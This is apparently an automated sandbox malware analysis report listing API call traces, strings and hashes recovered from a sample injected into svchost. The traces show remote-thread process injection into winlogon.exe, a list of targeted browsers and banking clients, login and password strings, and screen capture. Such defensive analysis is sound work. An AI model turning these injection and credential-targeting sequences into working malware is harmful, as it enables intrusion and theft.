ExitThread.KERNEL32 ref: 02C8896E
socket.WS2_32(00000002,00000001,00000006), ref: 02C8897A
ExitThread.KERNEL32 ref: 02C8898D

Strings

login, xrefs: 02C88903
pass, xrefs: 02C88924

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: ExitThread$Startupsocket
String ID: login$pass
API String ID: 1705285421-2248183487
Opcode ID: 0814016945f0639cc30ea48f27b4ddf5a410ef03c0ada2c7d2801af701cddf6e
Instruction ID: f33e156e8bc8c7f92e80d3e6d955723e872460550b0affbafca1c6be28475b8d
Opcode Fuzzy Hash: 0814016945f0639cc30ea48f27b4ddf5a410ef03c0ada2c7d2801af701cddf6e
Instruction Fuzzy Hash: D451AE75984340AFC302DF64E888B6ABBE8FF88724F448B1DF965972C0D7709519CB62

Function 02C864A0 Relevance: 40.8, APIs: 27, Instructions: 290memorytimesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 02C86370: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 02C86384
Part of subcall function 02C86370: Process32First.KERNEL32(00000000,?), ref: 02C863A9
Part of subcall function 02C86370: GetCurrentProcessId.KERNEL32(?,00000000), ref: 02C863CD
Part of subcall function 02C86370: StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|,?,?,00000000), ref: 02C863E7
Part of subcall function 02C86370: EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C8640B
Part of subcall function 02C86370: GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02C86411
Part of subcall function 02C86370: HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C86418
Part of subcall function 02C86370: LeaveCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C86446
Part of subcall function 02C86370: Process32Next.KERNEL32(00000000,00000128), ref: 02C8645A
Part of subcall function 02C86370: GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02C86474
Part of subcall function 02C86370: CloseHandle.KERNEL32(00000000,?,00000000), ref: 02C86485

OpenProcess.KERNEL32 ref: 02C86510
GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C86534
GetHandleInformation.KERNEL32(00000000,?), ref: 02C86558
CloseHandle.KERNEL32(00000000), ref: 02C8656A
EnterCriticalSection.KERNEL32(02CBD8A0), ref: 02C86575
LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86594
OpenProcess.KERNEL32(?,00001400,?), ref: 02C86610
GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C86631
GetHandleInformation.KERNEL32(00000000,FFFFFFFF), ref: 02C86655
CloseHandle.KERNEL32(00000000), ref: 02C86667
EnterCriticalSection.KERNEL32(02CBD8A0), ref: 02C86672
LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C86698
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C866E6
VirtualQuery.KERNEL32(02C93910,?,0000001C), ref: 02C86731
EnterCriticalSection.KERNEL32(02CBD8A0,?,?), ref: 02C86770
GetProcessHeap.KERNEL32(00000008,00000010), ref: 02C8677A
HeapAlloc.KERNEL32(00000000), ref: 02C86781
OpenProcess.KERNEL32(?,00001400,?), ref: 02C867D0
GetProcessTimes.KERNEL32(00000000,?,?,?,?), ref: 02C867F3
GetHandleInformation.KERNEL32(?,00001400), ref: 02C8681B
CloseHandle.KERNEL32(?), ref: 02C8682D
LeaveCriticalSection.KERNEL32(02CBD8A0), ref: 02C8684D
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8687A
HeapValidate.KERNEL32(00000000), ref: 02C86881
GetProcessHeap.KERNEL32(00000000,?), ref: 02C8688D
HeapFree.KERNEL32(00000000), ref: 02C86894
Sleep.KERNEL32(00000032), ref: 02C868A0

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Process$CriticalHandleHeapSection$CloseEnterInformationLeave$OpenTimes$AllocProcess32QueryVirtual$CreateCurrentFirstFreeNextSleepSnapshotToolhelp32Validate
String ID:
API String ID: 1045582906-0
Opcode ID: b5554ce6a6e97e970ca9dc0c4d7c248bb66e36c801cb0225fb34d715afcd3c88
Instruction ID: c6614f8cda1026375bc89473445eaafcaf29e54397b90c84eaf1897da800079e
Opcode Fuzzy Hash: b5554ce6a6e97e970ca9dc0c4d7c248bb66e36c801cb0225fb34d715afcd3c88
Instruction Fuzzy Hash: 83C1E5B0948391AFD321DF65C884A5AFBE8BFC8B14F208A5EF59A87240D770D545CF92

Function 02C766D0 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 215memoryfilestringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,?,?,02C92BB9,75AF5CE0), ref: 02C7670B
HeapAlloc.KERNEL32(00000000), ref: 02C76712
memset.MSVCRT ref: 02C7672A
lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C76739
FindFirstFileA.KERNEL32(00000000,?), ref: 02C76761

Strings

\*.*, xrefs: 02C7674A

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Heap$AllocFileFindFirstProcesslstrcpynmemset
String ID: \*.*
API String ID: 2617121151-1173974218
Opcode ID: d435bc3dfd38f8d086b800915070b61be572d68d174d0da329d797efcc14bdd8
Instruction ID: 7becebad95b7428ba07262907e1d3278c4549d4a02366af0e28626690a94c87c
Opcode Fuzzy Hash: d435bc3dfd38f8d086b800915070b61be572d68d174d0da329d797efcc14bdd8
Instruction Fuzzy Hash: 00616A71E447865BC7224F309C98BA77FADEF81754F244A54F9819B282DB31D60CC791

Function 00401580 Relevance: 40.5, APIs: 21, Strings: 2, Instructions: 215injectionlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401C70: memset.MSVCRT ref: 00401C96
Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000,76230F00,00000000,00000000), ref: 00401CA7
Part of subcall function 00401C70: GetLastError.KERNEL32 ref: 00401CB0
Part of subcall function 00401C70: SwitchToThread.KERNEL32 ref: 00401CBF
Part of subcall function 00401C70: CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401CC8
Part of subcall function 00401C70: GetHandleInformation.KERNEL32(00000000,00000000), ref: 00401CE8
Part of subcall function 00401C70: CloseHandle.KERNEL32(00000000), ref: 00401CF9

Sleep.KERNEL32(00000064,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015AD
OpenProcess.KERNEL32(001F0FFF,00000000,00000000,00000000,?,76D6DB30,00402E38,winlogon.exe), ref: 004015CC
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004015EB
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401601
GetCurrentProcess.KERNEL32(00000000), ref: 0040160D
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00401628
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00401638
VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 0040167F
WriteProcessMemory.KERNEL32(00000000,00000000,00406400,?,?), ref: 004016A1
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004016CD
memcpy.MSVCRT(00000000,?,?), ref: 004016E8
WriteProcessMemory.KERNEL32(?,?,00000000,00000000,?), ref: 00401703
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00401711
WriteProcessMemory.KERNEL32(00000000,?,00406400,00050200,?), ref: 00401744
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 00401754
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00401766
GetHandleInformation.KERNEL32(00000000), ref: 0040177E
CloseHandle.KERNEL32(00000000), ref: 0040178F
RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004017B0
GetHandleInformation.KERNEL32(00000000), ref: 004017CC
CloseHandle.KERNEL32(00000000), ref: 004017DD

Strings

IsWow64Process, xrefs: 004015FB, 00401632
kernel32.dll, xrefs: 004015DF, 0040161C

Memory Dump Source

Source File: 00000002.00000002.3402365018.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3402365018.000000000045B000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$Process$Create$CloseInformationMemoryThreadVirtualWrite$AddressAllocModuleProcSnapshotToolhelp32$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
String ID: IsWow64Process$kernel32.dll
API String ID: 3542510048-3024904723
Opcode ID: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
Instruction ID: c9964d6c084eb6c4e09adf0a78a82ba29cca963801df753bbce45d31a4150425
Opcode Fuzzy Hash: 9e2c1cff1cdf4c28cbaf7383b6b48f0421d485e879072eb787a5153b6e1db307
Instruction Fuzzy Hash: 5571A3B1600315ABE710DFA4DD89F6F77B8AF84B04F144029FA05B72D1E7B8994587AC

Function 02C93240 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 211injectionlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 02C93B50: memset.MSVCRT ref: 02C93B76
Part of subcall function 02C93B50: CreateToolhelp32Snapshot.KERNEL32(00000008,?,?,00000000,76230F00), ref: 02C93B87
Part of subcall function 02C93B50: GetLastError.KERNEL32 ref: 02C93B90
Part of subcall function 02C93B50: SwitchToThread.KERNEL32 ref: 02C93B9F
Part of subcall function 02C93B50: CreateToolhelp32Snapshot.KERNEL32(00000008,?), ref: 02C93BA8
Part of subcall function 02C93B50: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C93BC8
Part of subcall function 02C93B50: CloseHandle.KERNEL32(00000000), ref: 02C93BD9

Sleep.KERNEL32(00000064,00000000,00000000,?,?), ref: 02C9327F
OpenProcess.KERNEL32(001F0FFF,00000000,?,00000000,00000000,?,?), ref: 02C9329E
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C932BD
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C932D3
GetCurrentProcess.KERNEL32(00000000), ref: 02C932DF
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 02C932FA
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 02C9330A
VirtualAllocEx.KERNEL32(00000000,00000000,?,00003000,00000040), ref: 02C93344
WriteProcessMemory.KERNEL32(00000000,00000000,?,?,?), ref: 02C93365
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 02C93391
memcpy.MSVCRT(00000000,?,?,?,00003000,00000004), ref: 02C933A9
WriteProcessMemory.KERNEL32(00000000,?,00000000,00000000,00000004,?,?,00003000,00000004), ref: 02C933C4
VirtualFree.KERNELBASE(00000000,00000000,00008000,?,?,00003000,00000004), ref: 02C933D2
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 02C933FA
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C9340C
GetHandleInformation.KERNEL32(00000000,?), ref: 02C93424
CloseHandle.KERNEL32(00000000), ref: 02C93435
RtlCreateUserThread.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 02C93456
GetHandleInformation.KERNEL32(00000000,?), ref: 02C93472
CloseHandle.KERNEL32(00000000), ref: 02C93483

Strings

kernel32.dll, xrefs: 02C932B1, 02C932EE
IsWow64Process, xrefs: 02C932CD, 02C93304

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$CreateProcess$CloseInformationThreadVirtual$AddressAllocMemoryModuleProcSnapshotToolhelp32Write$CacheCurrentErrorFlushFreeInstructionLastOpenRemoteSleepSwitchUsermemcpymemset
String ID: IsWow64Process$kernel32.dll
API String ID: 2650560580-3024904723
Opcode ID: 16b50e25f9ab040db3dfa2b1bbdb07aab0756fc76a2135fbef614e906c7b86e1
Instruction ID: 1a168fb6bc5f68d4b946373794debbb1d69b3a86ee86773ba1e2fdee5f1489b9
Opcode Fuzzy Hash: 16b50e25f9ab040db3dfa2b1bbdb07aab0756fc76a2135fbef614e906c7b86e1
Instruction Fuzzy Hash: 92619571A40284BBEF12DF64CC89FAA77ACEF85B04F158599FD059B280DB74DA41CB60

Function 02C93950 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 181COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 02C9395E
GetWindowDC.USER32(00000000), ref: 02C93965
CreateCompatibleDC.GDI32(00000000), ref: 02C9397A

Strings

BM, xrefs: 02C93AB9
(, xrefs: 02C939D2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Window$CompatibleCreateDesktop
String ID: ($BM
API String ID: 3720047489-2980357723
Opcode ID: 877537c5a62760423418052294a140d0a62b69241ec763b07aa43e08c1110234
Instruction ID: 66da597546c0650b0bfef3b024a0a811454a89ce9df7fc2a3b6aa3b1ec11ce2a
Opcode Fuzzy Hash: 877537c5a62760423418052294a140d0a62b69241ec763b07aa43e08c1110234
Instruction Fuzzy Hash: 0D516271E40258BBDB11DFA4EC48BAEBBB9FF88711F104659F904E7280DB709D118BA5

Function 02C83D90 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 87networkstringCOMMON

Download Yara Rule

APIs

IsNetworkAlive.SENSAPI(02C763DD,00000000), ref: 02C83DA3
IsUserAnAdmin.SHELL32 ref: 02C83DB1
DnsFlushResolverCache.DNSAPI ref: 02C83DBB
memset.MSVCRT ref: 02C83DD8
lstrcpynA.KERNEL32(00000000,http://,00000104,?,00000000,00000000), ref: 02C83DF7
StrNCatA.SHLWAPI(00000000,www.bing.com,00000104), ref: 02C83E10
InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E23
memset.MSVCRT ref: 02C83E3C
lstrcpynA.KERNEL32(00000000,http://,00000104,?,?,?,?,00000000,00000000), ref: 02C83E55
StrNCatA.SHLWAPI(00000000,www.microsoft.com,00000104), ref: 02C83E68
InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 02C83E75

Strings

www.microsoft.com, xrefs: 02C83E5C
http://, xrefs: 02C83DEB, 02C83E49
www.bing.com, xrefs: 02C83E04

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: CheckConnectionInternetlstrcpynmemset$AdminAliveCacheFlushNetworkResolverUser
String ID: http://$www.bing.com$www.microsoft.com
API String ID: 1656757314-3977723178
Opcode ID: 046cff174cf00cf9745e4414d1a13b771669121d0302758fc0263850c3479c27
Instruction ID: d45695dd1716ebac61938a8b3cd0950e38a12e6e9132130ccafc4e5caf358cfc
Opcode Fuzzy Hash: 046cff174cf00cf9745e4414d1a13b771669121d0302758fc0263850c3479c27
Instruction Fuzzy Hash: 8121CD73E8425867E721E7A49C41FDAB76CDF94B14F0045D5FA88E7080DAF19AC48B91

Function 02C77020 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 76sleepsynchronizationCOMMON

Download Yara Rule

APIs

OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}), ref: 02C77041
Sleep.KERNEL32(00000064), ref: 02C77052
OpenMutexA.KERNEL32(00100000,00000000,Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}), ref: 02C77060
ReleaseMutex.KERNEL32(00000000), ref: 02C77069
GetHandleInformation.KERNEL32(00000000,?), ref: 02C7707F
CloseHandle.KERNEL32(00000000), ref: 02C77091
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C770B9
StrStrIA.SHLWAPI(?,\explorer.exe), ref: 02C770D2
ExitProcess.KERNEL32 ref: 02C770DD
SetEvent.KERNEL32(00000000), ref: 02C770E9
Sleep.KERNEL32(000007D0), ref: 02C770F4

Strings

Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}, xrefs: 02C77035, 02C77054
P0#v, xrefs: 02C77069
\explorer.exe, xrefs: 02C770C8

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Mutex$HandleOpenSleep$CloseEventExitFileInformationModuleNameProcessRelease
String ID: Global\{EAF799BF-8249-4fe1-9A0D-92CD3CC22014}$P0#v$\explorer.exe
API String ID: 2248524772-2059955476
Opcode ID: baeaa3e8bd56cf9e915a1522bfc4e803d915b3a43fc1007f0841b28de74fd959
Instruction ID: 89f55bf59260a55909fb45ec8e651e1948a1b63d5d2c83ccde98a960c91ce188
Opcode Fuzzy Hash: baeaa3e8bd56cf9e915a1522bfc4e803d915b3a43fc1007f0841b28de74fd959
Instruction Fuzzy Hash: 39210831E847446BE322BB759C09F6AFB9CAFC0B10F004655F95493181DBB4D9188AE2

Function 02C72BB0 Relevance: 21.5, APIs: 14, Instructions: 466COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 02C72C8F
exit.MSVCRT ref: 02C72CA1
calloc.MSVCRT ref: 02C72CAA
exit.MSVCRT ref: 02C72CBC
calloc.MSVCRT ref: 02C72CC5
exit.MSVCRT ref: 02C72CD7
calloc.MSVCRT ref: 02C72CE0
exit.MSVCRT ref: 02C72CF2
calloc.MSVCRT ref: 02C72D36
free.MSVCRT ref: 02C72FBF
free.MSVCRT ref: 02C72FE3
free.MSVCRT ref: 02C73004
free.MSVCRT ref: 02C73025
free.MSVCRT ref: 02C73063

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: callocfree$exit
String ID:
API String ID: 337157181-0
Opcode ID: 7f48ad7fa4da548279fe1b0c99727c96497688232c9c7f067b880dbf04229b04
Instruction ID: 67329b314172805e52ad59086c6dbb5ba13a56f959d6b419cfae029237b9aa8e
Opcode Fuzzy Hash: 7f48ad7fa4da548279fe1b0c99727c96497688232c9c7f067b880dbf04229b04
Instruction Fuzzy Hash: FDF1CF71A0065A9FDB20CF98D884BAEB7B5FF88314F144169ED05A7340D771EE51CBA2

Function 02C86370 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88memoryprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 02C86384
Process32First.KERNEL32(00000000,?), ref: 02C863A9
GetCurrentProcessId.KERNEL32(?,00000000), ref: 02C863CD
StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|,?,?,00000000), ref: 02C863E7
EnterCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C8640B
GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02C86411
HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02C86418
LeaveCriticalSection.KERNEL32(02CBD8A0,?,00000000), ref: 02C86446

Part of subcall function 02C92E00: OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
Part of subcall function 02C92E00: OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
Part of subcall function 02C92E00: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
Part of subcall function 02C92E00: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
Part of subcall function 02C92E00: CloseHandle.KERNEL32(?), ref: 02C92ECC
Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
Part of subcall function 02C92E00: CloseHandle.KERNEL32(00000000), ref: 02C92EEF

Process32Next.KERNEL32(00000000,00000128), ref: 02C8645A
GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02C86474
CloseHandle.KERNEL32(00000000,?,00000000), ref: 02C86485

Strings

iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|, xrefs: 02C863E2

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Handle$InformationProcess$Close$CriticalHeapOpenProcess32SectionToken$AllocCharCreateCurrentEnterFirstLeaveNextSnapshotToolhelp32Upper
String ID: iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|
API String ID: 3461290786-860058239
Opcode ID: 309971bf6f53314554b47302d7e277ad4b9c34fe133696fd324226235836fcf3
Instruction ID: 1acad026bad8bc81f15bff71473b071b2aa7c70764d43b849abcc9449434b30f
Opcode Fuzzy Hash: 309971bf6f53314554b47302d7e277ad4b9c34fe133696fd324226235836fcf3
Instruction Fuzzy Hash: CC319470D41254EFDB21DF65D849B9EB7BCFF88718F1085A9E849D3240D7309A45CB61

Function 02C76A30 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 91threadstringnativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 02C76A4C
GetCurrentProcessId.KERNEL32 ref: 02C76A5F

Part of subcall function 02C92E00: OpenProcess.KERNEL32(00000400,00000000,00000000,7622F550,00000000,7736C3F0), ref: 02C92E15
Part of subcall function 02C92E00: OpenProcessToken.ADVAPI32(00000000,00000010,?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E2C
Part of subcall function 02C92E00: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02C92E4A
Part of subcall function 02C92E00: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02C84683), ref: 02C92E62
Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(?,00000000), ref: 02C92EBB
Part of subcall function 02C92E00: CloseHandle.KERNEL32(?), ref: 02C92ECC
Part of subcall function 02C92E00: GetHandleInformation.KERNEL32(00000000,?), ref: 02C92EDE
Part of subcall function 02C92E00: CloseHandle.KERNEL32(00000000), ref: 02C92EEF

GetCurrentThreadId.KERNEL32 ref: 02C76A6E
GetThreadDesktop.USER32(00000000,00000002,?,00000100,?), ref: 02C76A87
GetUserObjectInformationA.USER32(00000000), ref: 02C76A8E
lstrcmpiA.KERNEL32(?,80f507eba), ref: 02C76AA4
memset.MSVCRT ref: 02C76AE9
_snprintf.MSVCRT ref: 02C76B03
OpenMutexA.KERNEL32(00100000,00000000,?), ref: 02C76B16

Strings

Global\HighMemoryEvent_%08x, xrefs: 02C76AF2
80f507eba, xrefs: 02C76A98

Memory Dump Source

Source File: 00000002.00000002.3417374807.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true

Associated: 00000002.00000002.3417374807.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3417374807.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd

Yara matches

Similarity

API ID: Information$Handle$OpenProcess$CloseCurrentThreadToken$CharDesktopMutexObjectQuerySystemUpperUser_snprintflstrcmpimemset
String ID: 80f507eba$Global\HighMemoryEvent_%08x
API String ID: 1400009243-1487560610
Opcode ID: c8ce148320c71e6f7165467db7b5d437f6a75079891ace40bf26555325746e95
Instruction ID: cab2f2639501efa66fa813353dfb62881e3343080eb70cdf95d92355d2c32780
Opcode Fuzzy Hash: c8ce148320c71e6f7165467db7b5d437f6a75079891ace40bf26555325746e95
Instruction Fuzzy Hash: 2A31F272A40255ABDB21CF61CC88BAAB77CFF94B10F144655FE4497280E7B0AD91CFA1

Function 029A1360 Relevance: 3.2, APIs: 2, Instructions: 241memorylibraryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040,00000000,61FF864A), ref: 029A1451
LoadLibraryExA.KERNEL32(?,00000000,00000000,00000000,0AFB4677), ref: 029A1515

Memory Dump Source

Source File: 00000002.00000002.3416553301.00000000029A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_29a0000_svchost.jbxd

Yara matches

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 4c20f65d22fef1470a76e602a17beb2500452f3e339ad4f3f34e1df76570f847
Instruction ID: bb8178fee0d07ba4466ffa7705655954c1ec0c1b777c56eb866e195d8b30916b
Opcode Fuzzy Hash: 4c20f65d22fef1470a76e602a17beb2500452f3e339ad4f3f34e1df76570f847
Instruction Fuzzy Hash: EB914BB5D00719AFCB24DFE8C860BAEB7BAAF88354F154559E809B7344D734AA01CF94

Function 02C740F0 Relevance: 86.0, APIs: 35, Strings: 14, Instructions: 267
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000C10,00000000,762335B0,00000000), ref: 02C7410D
HeapAlloc.KERNEL32(00000000), ref: 02C74110
memset.MSVCRT ref: 02C74124
GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C74194
GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C741A2
HeapValidate.KERNEL32(00000000), ref: 02C741A5
